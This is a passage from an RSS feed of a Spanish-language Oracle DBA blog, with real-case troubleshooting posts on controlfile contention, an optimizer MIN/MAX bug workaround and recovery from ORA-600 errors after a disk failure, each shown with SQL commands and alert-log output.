&lt;i&gt;enq: CF – Contention&lt;/i&gt;, y que la idea era &lt;b&gt;no tener más de mil registros&lt;/b&gt; en uso. Con esta nueva información hicimos la investigación del caso:&lt;/div&gt;&lt;br&gt;
&lt;pre class="codigo"&gt;SQL&amp;gt; SELECT type, records_total, records_used 
       FROM v$controlfile_record_section 
      WHERE type='ARCHIVED LOG';

TYPE                         RECORDS_TOTAL RECORDS_USED
---------------------------- ------------- ------------
ARCHIVED LOG                        116912        &lt;span style="color: red; font-weight: bold;"&gt;84612&lt;/span&gt;
&lt;/pre&gt;&lt;br&gt;
&lt;div&gt;¡Bingo! Casi &lt;b&gt;85 mil&lt;/b&gt; &lt;i&gt;archived redo logs&lt;/i&gt; registrados. ¿&lt;b&gt;Cómo llegaron allí&lt;/b&gt; teniendo en cuenta que el parámetro &lt;i&gt;control_file_record_keep_time&lt;/i&gt; tenía el valor 1 (1 día)? Buena pregunta, confieso que &lt;b&gt;no tengo la respuesta&lt;/b&gt;, no era el objetivo en ese momento investigarlo, los usuarios estaban al &lt;b&gt;borde del colapso&lt;/b&gt;, así que simplemente nos enfocamos en &lt;b&gt;implementar la solución&lt;/b&gt;:&lt;/div&gt;&lt;br&gt;
&lt;pre class="codigo"&gt;SQL&amp;gt; exec dbms_backup_restore.resetcfilesection(11);

RMAN&amp;gt; catalog start with '+FRA/db/archivelog';

SQL&amp;gt; SELECT type, records_total, records_used 
       FROM v$controlfile_record_section 
      WHERE type='ARCHIVED LOG';

TYPE                         RECORDS_TOTAL RECORDS_USED
---------------------------- ------------- ------------
ARCHIVED LOG                        116912          &lt;span style="color: red; font-weight: bold;"&gt;336&lt;/span&gt;
&lt;/pre&gt;&lt;br&gt;
&lt;div&gt;El efecto fue inmediato: los eventos &lt;b&gt;desaparecieron por completo&lt;/b&gt;, tanto los relacionados con el &lt;i&gt;controlfile&lt;/i&gt; como los relacionados con los &lt;i&gt;online redo logs&lt;/i&gt;, y la situación volvió a la &lt;b&gt;normalidad&lt;/b&gt;.&lt;/div&gt;&lt;br&gt;
&lt;pre class="codigo"&gt;Top 5 Timed Events                                         Avg %Total
~~~~~~~~~~~~~~~~~~                                        wait   Call
Event                                 Waits    Time (s)   (ms)   Time Wait Class
------------------------------ ------------ ----------- ------ ------ ----------
CPU time                                         32,205          51.0
db file sequential read           5,966,390      11,183      2   17.7 User I/O
SQL*Net break/reset to client         2,597       4,250   1637    6.7 Applicatio 
gc cr grant 2-way                 2,705,303       2,222      1    3.5 Cluster
gc current block 2-way              957,231       1,812      2    2.9 Cluster
&lt;/pre&gt;&lt;br&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Knockout&lt;/span&gt;
&lt;div&gt;Desde luego el caso &lt;b&gt;no estaba cerrado&lt;/b&gt;, ahora había tiempo para &lt;b&gt;cerciorarse&lt;/b&gt; de que esta situación no se volviera a presentar, y por ello era necesario &lt;b&gt;modificar&lt;/b&gt; el parámetro &lt;b&gt;&lt;i&gt;MAXLOGHISTORY&lt;/i&gt;&lt;/b&gt;, mismo que controla qué tan &lt;b&gt;grande&lt;/b&gt; puede ser el &lt;b&gt;historial&lt;/b&gt; de &lt;i&gt;archived redo logs&lt;/i&gt; en el &lt;i&gt;controlfile&lt;/i&gt;. Para ello empezamos por obtener un &lt;i&gt;script &lt;/i&gt;que nos permitiera &lt;b&gt;reconstruirlo&lt;/b&gt; con un valor &lt;b&gt;adecuado&lt;/b&gt;:&lt;/div&gt;&lt;br&gt;
&lt;pre class="codigo"&gt;alter database backup controlfile to trace;

CREATE CONTROLFILE REUSE DATABASE "DB" NORESETLOGS FORCE LOGGING ARCHIVELOG
    MAXLOGFILES 51
    MAXLOGMEMBERS 3
    MAXDATAFILES 200
    MAXINSTANCES 8
    &lt;span style="color: red; font-weight: bold;"&gt;MAXLOGHISTORY 29200&lt;/span&gt;
LOGFILE
  GROUP 11 '+DG1/db/onlinelog/group_11.439.755028947' 
           SIZE 800M BLOCKSIZE 512,
  GROUP 12 '+DG1/db/onlinelog/group_12.1143.755028957'
           SIZE 800M BLOCKSIZE 512,
  GROUP 13 '+DG1/db/onlinelog/group_13.1170.755028963' 
           SIZE 800M BLOCKSIZE 512,
. . .
&lt;/pre&gt;&lt;br&gt;
&lt;div&gt;Modificamos el valor &lt;i&gt;29200&lt;/i&gt; por &lt;b&gt;5000&lt;/b&gt;, y en la fecha ya programada para tal fin &lt;b&gt;detuvimos&lt;/b&gt; la base de datos, &lt;b&gt;ejecutamos&lt;/b&gt; el &lt;i&gt;script&lt;/i&gt; de &lt;b&gt;reconstrucción&lt;/b&gt; del &lt;i&gt;&lt;b&gt;controlfile&lt;/b&gt;&lt;/i&gt; y &lt;b&gt;reiniciamos&lt;/b&gt; los servicios. Como existía también un &lt;i&gt;physical standby&lt;/i&gt; tuvimos que &lt;b&gt;crear&lt;/b&gt; y &lt;b&gt;transferir&lt;/b&gt; un nuevo &lt;i&gt;&lt;b&gt;standby controlfile&lt;/b&gt;&lt;/i&gt;, con lo que finalmente pudimos decir con toda confianza: ¡&lt;b&gt;caso cerrado&lt;/b&gt;!&lt;/div&gt;&lt;br&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Posts Relacionados:&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2014/05/optimizer-bug-8467123-5611962.html"&gt;Troubleshoot: optimizador confundido&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2014/04/ora-0600-kcrfresilverlog1-4193.html"&gt;Troubleshoot: ora-600[kcrf_resilver_log_1] &amp;amp; ora-600[4193]&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br&gt;
&lt;/span&gt;
&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2014/06/enq-cf-contention.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCo6dnAu-zxTcPBKtg5lm2xaOQJCU24qQl-8BVRO41FMGZGp0imRxtegg-8lThBgqkkwhVejk-meRnliyNiIG_U2uALGas4BaMAsfgtOe9EwgkbdW9o5W9tq30iLOfRc6RogUcM2KxrTa6/s72-c" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-1610964221223360959</guid><pubDate>Sun, 18 May 2014 01:26:00 +0000</pubDate><atom:updated>2014-06-11T01:19:11.403-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">troubleshoot</category><category domain="http://www.blogger.com/atom/ns#">Tuning</category><title>Troubleshoot: optimizador confundido</title><description>&lt;div&gt;Unos días atrás me reportaron un problema de &lt;b&gt;mal desempeño&lt;/b&gt; de una aplicación bancaria. Resulta que si bien el número de transacciones no era alto, el valor monetario si lo era, por lo que era prioritario que se completase &lt;b&gt;casi instantáneamente&lt;/b&gt;. Con el pasar del tiempo estas transacciones iban demorando más y más, al punto de que eventualmente alguna de ellas era dada por &lt;b&gt;fallida&lt;/b&gt; y debía ser reiniciada, poniendo nerviosos a todos los involucrados en el negocio, y es en este escenario que deciden acudir a mi &lt;b&gt;asesoría&lt;/b&gt;.&lt;/div&gt;
&lt;br/&gt;
&lt;span class="fullpost"&gt;
&lt;div&gt;El primer problema que encontré es que la aplicación &lt;b&gt;no estaba instrumentada&lt;/b&gt; y por tanto su código se confunde con el de otras aplicaciones que también se ejecutan en esa instancia. Afortunadamente, de entre todo el universo de SQLs, el DBA había ya identificado un par de sentencias, y que coincidentemente figuraban en los reportes AWR como las principales responsables de &lt;i&gt;buffer gets&lt;/i&gt;, por lo que de inmediato procedí a analizarlas.&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;select nvl(max(event_seq_no), 0) 
  from cstbs_contract_change_log 
 where contract_ref_no = :b1
---------------------------------------------------------------------
| Id  | Operation                   | Name                          |
---------------------------------------------------------------------
|   0 | SELECT STATEMENT            |                               |
|   1 |  SORT AGGREGATE             |                               |
|   2 |   FIRST ROW                 |                               |
|   3 |    INDEX FULL SCAN (MIN/MAX)| PK01_CSTB_CONTRACT_CHANGE_LOG |
---------------------------------------------------------------------

select nvl(max(event_seq_no), 0) 
  from istbs_contractis 
 where contract_ref_no = :b1
------------------------------------------------------------
| Id  | Operation                   | Name                 |
------------------------------------------------------------
|   0 | SELECT STATEMENT            |                      |
|   1 |  SORT AGGREGATE             |                      |
|   2 |   FIRST ROW                 |                      |
|   3 |    INDEX FULL SCAN (MIN/MAX)| PK01_ISTB_CONTRACTIS |
------------------------------------------------------------
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Se comprobó que para ambas tablas existían índices por la columna &lt;i&gt;contract_ref_no&lt;/i&gt;, que eran desde luego mucho más adecuados que los de clave primaria, pero por alguna razón el Optimizador &lt;b&gt;no los estaba tomando en cuenta&lt;/b&gt;, por lo que como medida inicial se procedió a generar &lt;b&gt;nuevas estadísticas&lt;/b&gt;, con la esperanza de que eso fuese suficiente para que el Optimizador tomara la decisión correcta.&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;exec dbms_stats.gather_table_stats( 
   ownname =&gt; 'FCCPRD', 
   tabname =&gt; 'CSTB_CONTRACT_CHANGE_LOG'
   cascade =&gt; TRUE, 
   estimate_percent =&gt; 100, 
   method_opt =&gt; 'FOR ALL INDEXED COLUMNS SIZE AUTO' );

exec dbms_stats.gather_table_stats( 
   ownname =&gt; 'FCCPRD', 
   tabname =&gt; 'ISTB_CONTRACTIS'
   cascade =&gt; TRUE, 
   estimate_percent =&gt; 100, 
   method_opt =&gt; 'FOR ALL INDEXED COLUMNS SIZE AUTO' );
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Sin embargo los planes de ejecución permanecieron intactos, por lo que como segunda medida, y considerando que se trataba de &lt;i&gt;Oracle Server&lt;/i&gt; 10.2.0.4, se procedió a asignar &lt;i&gt;&lt;b&gt;SQL Profiles&lt;/b&gt;&lt;/i&gt;. Para la primera sentencia se logró obtenerlo mediante el uso de &lt;i&gt;&lt;b&gt;SQL Advisor&lt;/b&gt;&lt;/i&gt;, pero para la segunda sentencia no fue posible, siendo necesario recurrir al procedimiento señalado en el &lt;i&gt;Note &lt;b&gt;1400903.1&lt;/b&gt; How to use hints to customize SQL Profile or SQL PLAN Baseline&lt;/i&gt;. Luego de esto se obtuvieron finalmente los planes eficientes para ambas sentencias SQL.&lt;/div&gt;
&lt;br/&gt; 
&lt;pre class="codigo"&gt;----------------------------------------------------------------------
| Id  | Operation                    | Name                          |
----------------------------------------------------------------------
|   0 | SELECT STATEMENT             |                               |
|   1 |  SORT AGGREGATE              |                               |
|   2 |   TABLE ACCESS BY INDEX ROWID| CSTB_CONTRACT_CHANGE_LOG      |
|*  3 |    INDEX RANGE SCAN          | IX03_CSTB_CONTRACT_CHANGE_LOG |
----------------------------------------------------------------------

--------------------------------------------------------------
| Id  | Operation                    | Name                  |
--------------------------------------------------------------
|   0 | SELECT STATEMENT             |                       |
|   1 |  SORT AGGREGATE              |                       |
|   2 |   TABLE ACCESS BY INDEX ROWID| ISTB_CONTRACTIS       |
|*  3 |    INDEX RANGE SCAN          | IX03_ ISTB_CONTRACTIS |
--------------------------------------------------------------
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Con esto los tiempos de ejecución se &lt;b&gt;redujeron notablemente&lt;/b&gt;, de un valor inicial promedio de &lt;b&gt;34.2"&lt;/b&gt; a solo &lt;b&gt;8.7"&lt;/b&gt;, pero aun así quedaba la percepción de que la transacción podía ser más rápida aun, por lo que era inevitable &lt;b&gt;instrumentar la aplicación&lt;/b&gt; y así poder identificar con precisión las sentencias SQL adicionales que pudiesen ser afinadas. Para ello se incorporaron las siguientes líneas de código en la rutina problemática:&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;create or replace PACKAGE BODY pks_msg_router AS
. . .
  PROCEDURE p_process_req_msg  (is_req_clob    IN   VARCHAR2
  . . .
  BEGIN
    -- Inicio de la instrumentación
    &lt;b&gt;dbms_application_info.set_module&lt;/b&gt;(
      module_name =&gt; 'msg_router',
      action_name =&gt; 'process_req_msg');
    . . .
    &lt;lógica original de la aplicación&gt;
    . . . 
    -- Fin de la instrumentación
    &lt;b&gt;dbms_application_info.set_module&lt;/b&gt;(
      module_name =&gt; NULL,
      action_name =&gt; NULL);
  END p_process_req_msg;
. . .
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Luego de ser implementado el cambio se pudieron identificar más sentencias SQL ineficientes, como por ejemplo:&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;select nvl(max(event_seq_no),0) from cstbs_contract_event_log 
where contract_ref_no = :b1
--------------------------------------------------------------------
| Id  | Operation                   | Name                         |
--------------------------------------------------------------------
|   0 | SELECT STATEMENT            |                              |
|   1 |  SORT AGGREGATE             |                              |
|   2 |   FIRST ROW                 |                              |
|   3 |    INDEX FULL SCAN (MIN/MAX)| PK01_CSTB_CONTRACT_EVENT_LOG |
--------------------------------------------------------------------

select nvl(max(change_seq_no),0) from cstbs_contract_change_log 
where contract_ref_no = :b2 and event_seq_no = :b1
----------------------------------------------------------------------
| Id  | Operation                    | Name                          |
----------------------------------------------------------------------
|   0 | SELECT STATEMENT             |                               |
|   1 |  SORT AGGREGATE              |                               |
|   2 |   FIRST ROW                  |                               |
|   3 |    INDEX RANGE SCAN (MIN/MAX)| PK01_CSTB_CONTRACT_CHANGE_LOG |
----------------------------------------------------------------------
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Lo extendido del problema termina por confirmar que no se trata de una situación normal, sino que se trataría de la incidencia de un &lt;b&gt;&lt;i&gt;bug&lt;/i&gt;&lt;/b&gt; a nivel del Optimizador, siendo el común denominador a todas estas sentencias el que incluyen el operador &lt;b&gt;MIN y/o MAX&lt;/b&gt;, y es justamente este criterio el que empleamos para hacer una búsqueda en &lt;i&gt;My Oracle Support&lt;/i&gt;, encontrando lo siguiente:&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;Bug 8467123 : POOR PERFORMANCE OF QUERY WITH INDEX FULL SCAN (MIN/MAX)
Bug 11834402 : CBO CHOOSES A SLOW INDEX FULL SCAN (MIN/MAX) OVER A MUCH FASTER INDEX RANGE SCAN
Bug 9140303 : OPTIMIZER CHOOSE WRONG INDEX FOR MIN/MAX SQL
Bug 8323407  "INDEX RANGE SCAN (MIN/MAX)" Cost change
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Al parecer Oracle introdujo en &lt;i&gt;Oracle Server&lt;/i&gt; 10.2.0.4 un &lt;i&gt;fix&lt;/i&gt; para el &lt;i&gt;&lt;b&gt;bug 5611962&lt;/b&gt; CBO does not use index full scan (MIN/MAX) with part. range iterator&lt;/i&gt;, pero este fix terminó generando un nuevo bug. ¿La solución? Hacer &lt;b&gt;&lt;i&gt;upgrade&lt;/i&gt; a 10.2.0.5&lt;/b&gt; o superior, pero no era viable en este escenario ya que tomaría algo de tiempo en implementar. Afortunadamente existe un &lt;i&gt;workaround&lt;/i&gt;: ¡deshabilitar el fix!&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;SQL&gt; alter system set "_fix_control" = "5611962:OFF";
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Luego de realizar pruebas preliminares se concluye que el &lt;i&gt;workaround&lt;/i&gt; es &lt;b&gt;efectivo&lt;/b&gt;, programándose su aplicación a nivel de toda la instancia. Luego de ello se vuelve a analizar el universo de sentencias SQL de la transacción problemática, encontrándose que las sentencias previamente identificadas se ejecutan ahora &lt;b&gt;eficientemente&lt;/b&gt;, con nuevos planes de ejecución.&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;
(1) Situación original                              34.2"
(2) Luego de aplicar SQL Profile (2 SQLs)            8.7"
(3) Luego de deshabilitar fix del BUG 5611962        0.8"
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Con estos resultados se dio por &lt;b&gt;concluido&lt;/b&gt; el afinamiento de la aplicación, obteniendo una &lt;b&gt;disminución&lt;/b&gt; del tiempo de ejecución en nada menos que un &lt;b&gt;¡98%!&lt;/b&gt; A la fecha la aplicación opera normalmente y los usuarios están contentos con el tiempo de respuesta, por lo que se considera un caso más &lt;b&gt;resuelto satisfactoriamente&lt;/b&gt;.&lt;/div&gt;&lt;br/&gt;
&lt;div&gt;Espero que se hayan entretenido con la resolución de este caso de la vida real. ¡Será hasta la próxima amigos!&lt;/div&gt;&lt;br/&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Posts Relacionados:&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/dbms-application-info-instrumentacion.html"&gt;Hazte la vida más fácil, instrumenta tus aplicaciones&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/12/dbms-monitor-session-trace-trcsess.html"&gt;Nuevas formas de rastrear el código&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2014/06/enq-cf-contention.html"&gt;Troubleshoot: perdiendo el control&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2014/04/ora-0600-kcrfresilverlog1-4193.html"&gt;Troubleshoot: ora-600[kcrf_resilver_log_1] &amp; ora-600[4193]&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2014/05/optimizer-bug-8467123-5611962.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-7247614859882668319</guid><pubDate>Wed, 23 Apr 2014 22:10:00 +0000</pubDate><atom:updated>2014-06-11T01:20:54.808-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">troubleshoot</category><title>Troubleshoot: ora-600[kcrf_resilver_log_1] &amp; ora-600[4193]</title><description>&lt;div&gt;El sábado último recibí una llamada mientras manejaba, estacioné y atendí la llamada, se trataba de un buen amigo y cliente que tenía un problema con una de sus bases de datos. Ocurrió que como parte de un mantenimiento al servidor en el cual operaba, uno de los discos había presentado errores para ser reconocido. Eventualmente dieron con la causa del problema y lo resolvieron, el disco era nuevamente reconocido pero la base de datos no llegaba a abrir, les aparecía un error &lt;b&gt;ORA-600&lt;/b&gt; que no sabían cómo tratar y por tanto requerían de mi ayuda.&lt;/div&gt;
&lt;br/&gt;
&lt;span class="fullpost"&gt;
&lt;div&gt;Ese día era uno particularmente recargado, estaba ayudando en los preparativos para celebrar el cumpleaños de mi pequeña Lucía, pero aparentemente no tomaría mucho tiempo atender esta urgencia, por lo que acordamos que haría unos minutos para al menos ver qué se podía hacer para resolver el problema. Mi amigo me proporcionó todos los datos necesarios para poder conectarme remotamente a su servidor, y pocos minutos después me encontraba revisando el archivo &lt;b&gt;alert.log&lt;/b&gt;,  encontrando lo siguiente:&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;Sat Apr 19 13:46:34 2014 
ALTER DATABASE OPEN
Beginning crash recovery of 1 threads
 parallel recovery started with 3 processes
Started redo scan
Errors in file d:\app\oracle\diag\rdbms\cts\cts\trace\cts_ora_3696.trc  (incident=85364):
&lt;span style="color: red; font-weight: bold;"&gt;ORA-00600: código de error interno, argumentos: [kcrf_resilver_log_1], [0x7FF62C56708], [2], [], [], [], [], [], [], [], [], []&lt;/span&gt;
Incident details in: d:\app\oracle\diag\rdbms\cts\cts\incident\incdir_85364\cts_ora_3696_i85364.trc
Aborting crash recovery due to error 600
Errors in file d:\app\oracle\diag\rdbms\cts\cts\trace\cts_ora_3696.trc:
ORA-00600: código de error interno, argumentos: [kcrf_resilver_log_1], [0x7FF62C56708], [2], [], [], [], [], [], [], [], [], []
Errors in file d:\app\oracle\diag\rdbms\cts\cts\trace\cts_ora_3696.trc:
ORA-00600: código de error interno, argumentos: [kcrf_resilver_log_1], [0x7FF62C56708], [2], [], [], [], [], [], [], [], [], []
ORA-600 signalled during: ALTER DATABASE OPEN...
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Revisando en &lt;i&gt;My Oracle Support&lt;/i&gt; (MOS) encontré el Note &lt;b&gt;1227666.1&lt;/b&gt; &lt;i&gt;ORA-00600 [kcrf_resilver_log_1] on restart after system crash&lt;/i&gt;, que señala como causa de este error: &lt;i&gt;"There has been a lost write to the online redolog as a result of the crash. Instance recovery is not possible."&lt;/i&gt;, e indica que la solución es: &lt;i&gt;"Restore the database and do point in time recovery to the most recent archivelog."&lt;/i&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;div&gt;Son malas noticias, &lt;i&gt;Oracle Support&lt;/i&gt; nos dice que hubo un error al grabar en los &lt;i&gt;online redologs&lt;/i&gt;, no es posible hacer una recuperación automática de la instancia y en consecuencia hay que hacer un &lt;i&gt;&lt;b&gt;restore&lt;/b&gt;&lt;/i&gt; y luego un &lt;i&gt;&lt;b&gt;recover&lt;/b&gt;&lt;/i&gt;. Como quizás algunos ya sospechan, este problema no iba a ser tan fácil de resolver: esta base de datos no estaba en modo &lt;i&gt;archive log&lt;/i&gt;, y no había backup físico al cual recurrir, las posibilidades de resolver el problema se redujeron drásticamente, pero el reto estaba dado y había que seguir intentando.&lt;/div&gt;
&lt;br/&gt; 
&lt;div&gt;Como primer paso se realizó una copia física de todos los &lt;i&gt;datafiles&lt;/i&gt;, &lt;i&gt;online redologs&lt;/i&gt; y &lt;i&gt;controlfiles&lt;/i&gt;, para posteriormente intentar hacer un &lt;i&gt;recover&lt;/i&gt;:&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;SQL&gt; recover database using backup controlfile until cancel;
ORA-00279: change 99446132 generated at 19/04/2014 10:00:45 needed for thread 1
ORA-00289: suggestion : D:\APP\ORACLE\FLASH_RECOVERY_AREA\CTS\ARCHIVELOG\2014_04_19\O1_MF_1_1157_%U_.ARC
ORA-00280: change 99446132 for thread 1 is in sequence #1157

Specify log: {&lt;RET&gt;=suggested | filename | AUTO | CANCEL}
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Obviamente el archivelog sugerido no existía, pero para nuestra suerte la secuencia 1157 correspondía a un redolog que no tenia daño alguno:&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;SQL&gt; select group#, sequence# from v$log;

    GROUP#  SEQUENCE# 
---------- ---------- 
         1       1156 
&lt;b&gt;         2       1157&lt;/b&gt; 
         3       1155
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Por lo que se procedió a alimentar ese &lt;i&gt;online redolog&lt;/i&gt; al comando recover:&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;Specify log: {&lt;RET&gt;=suggested | filename | AUTO | CANCEL}
&lt;b&gt;'D:\APP\ORACLE\ORADATA\CTS\REDO02.LOG'&lt;/b&gt;

Log applied.
Media recovery complete.
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;El mensaje &lt;i&gt;"Media recovery complete"&lt;/i&gt; nos devolvió el alma al cuerpo, al parecer el problema estaba resuelto, pero faltaba el paso final, abrir la base de datos:&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;alter database open resetlogs;
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Pero en lugar de que la base de datos fuese abierta normalmente, nos topamos con un nuevo &lt;i&gt;ORA-600&lt;/i&gt;, tal como se ve en este extracto del &lt;i&gt;alert.log&lt;/i&gt;:&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;Sat Apr 19 15:16:01 2014
alter database open resetlogs
RESETLOGS after complete recovery through change 99446132
Resetting resetlogs activation ID 4065219144 (0xf24e5248)
Sat Apr 19 15:16:03 2014
Setting recovery target incarnation to 3
Sat Apr 19 15:16:03 2014
Assigning activation ID 4085838382 (0xf388f22e)
Thread 1 opened at log sequence 1
  Current log# 1 seq# 1 mem# 0: D:\APP\ORACLE\ORADATA\CTS\REDO01.LOG
Successful open of redo thread 1
MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set
Sat Apr 19 15:16:04 2014
SMON: enabling cache recovery
Successfully onlined Undo Tablespace 2.
Dictionary check beginning
Dictionary check complete
Verifying file header compatibility for 11g tablespace encryption..
Verifying 11g file header compatibility for tablespace encryption completed
SMON: enabling tx recovery
Database Characterset is WE8MSWIN1252
Errors in file d:\app\oracle\diag\rdbms\cts\cts\trace\cts_smon_4640.trc  (incident=87710):
&lt;span style="color: red; font-weight: bold;"&gt;ORA-00600: internal error code, arguments: [4193], [], [], [], [], [], [], [], [], [], [], []&lt;/span&gt;
Incident details in: d:\app\oracle\diag\rdbms\cts\cts\incident\incdir_87710\cts_smon_4640_i87710.trc
No Resource Manager plan active
Exception [type: ACCESS_VIOLATION, UNABLE_TO_READ] [ADDR:0x19698E97] [PC:0x9257D88, kgegpa()+38]
Dump file d:\app\oracle\diag\rdbms\cts\cts\trace\alert_cts.log
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Luego de buscar en &lt;i&gt;MOS&lt;/i&gt;, se encontró el Note &lt;b&gt;452662.1&lt;/b&gt; &lt;i&gt;Ora-600 [4193] When Opening Or Shutting Down A Database&lt;/i&gt;, que señala como causa: &lt;i&gt;"..some kind of block corruption in either the redo or the undo block"&lt;/i&gt;. El documento en cuestión analiza extensivamente los diversos escenarios posibles pero para este caso en particular solo se aplicó la solución para cuando la base de datos no logra ser abierta, y que consiste en desactivar la gestión automática del &lt;i&gt;undo&gt;&lt;/i&gt; y tratar de abrir la base de datos, si logra abrir entonces la corrupción no llegó a afectar al &lt;i&gt;redo&lt;/i&gt; sino que se limitó a los segmentos de &lt;i&gt;undo&lt;/i&gt;. Ese sería el escenario ideal, así que cruzamos los dedos y ejecutamos:&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;SQL&gt; alter system set undo_management='MANUAL' scope=SPFILE sid='*';
System altered.

SQL&gt; shutdown immediate
ORACLE instance shut down.

SQL&gt; startup
ORACLE instance started.

Total System Global Area  167772160 bytes
Fixed Size                   787968 bytes
Variable Size              61864448 bytes
Database Buffers          104857600 bytes
Redo Buffers                 262144 bytes
Database mounted.
&lt;b&gt;Database opened.&lt;/b&gt;
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;¡Fenomenal! Para nuestro alivio la base de datos abrió normalmente, lo cual fue comprobado con los mensajes en el archivo &lt;i&gt;alert.log&lt;/i&gt;:&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;Sat Apr 19 15:28:08 2014
alter database open
Beginning crash recovery of 1 threads
 parallel recovery started with 3 processes
Started redo scan
Completed redo scan
 read 31 KB redo, 13 data blocks need recovery
Started redo application at
 Thread 1: logseq 1, block 3
Recovery of Online Redo Log: Thread 1 Group 1 Seq 1 Reading mem 0
  Mem# 0: D:\APP\ORACLE\ORADATA\CTS\REDO01.LOG
Completed redo application of 0.02MB
Completed crash recovery at
 Thread 1: logseq 1, block 66, scn 99466367
 13 data blocks read, 13 data blocks written, 31 redo k-bytes read
Sat Apr 19 15:28:09 2014
Thread 1 advanced to log sequence 2 (thread open)
Thread 1 opened at log sequence 2
  Current log# 2 seq# 2 mem# 0: D:\APP\ORACLE\ORADATA\CTS\REDO02.LOG
Successful open of redo thread 1
MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;La Nota indica también que ya que la base de datos logra abrir, se debe considerar que todas las transacciones han sido grabadas, y por tanto nos podemos deshacer del &lt;i&gt;tablespace&lt;/i&gt; de &lt;i&gt;undo&lt;/i&gt; que contiene los &lt;i&gt;undo segments&lt;/i&gt; dañados y crear un nuevo &lt;i&gt;tablespace&lt;/i&gt; que lo reemplace, por lo que continuamos con lo siguiente:&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;SQL&gt; create undo tablespace UNDOTBS2 datafile
    'D:\APP\ORACLE\ORADATA\CTS\UNDOTBS02.DBF'
     size 100M reuse autoextend on;
Tablespace created.

SQL&gt; alter system set undo_tablespace='UNDOTBS2' scope=SPFILE sid='*';
System altered.

SQL&gt; alter system set undo_management='AUTO' scope=SPFILE sid='*';
System altered.

SQL&gt; shutdown immediate
ORACLE instance shut down.

SQL&gt; startup
ORACLE instance started.

Total System Global Area  167772160 bytes
Fixed Size                   787968 bytes
Variable Size              61864448 bytes
Database Buffers          104857600 bytes
Redo Buffers                 262144 bytes
Database mounted.
Database opened.

SQL&gt; alter tablespace undotbs1 offline normal;
Tablespace altered.

SQL&gt; drop tablespace UNDOTBS1 including contents and datafiles;
Tablespace dropped.
&lt;/pre&gt;
&lt;br/&gt;
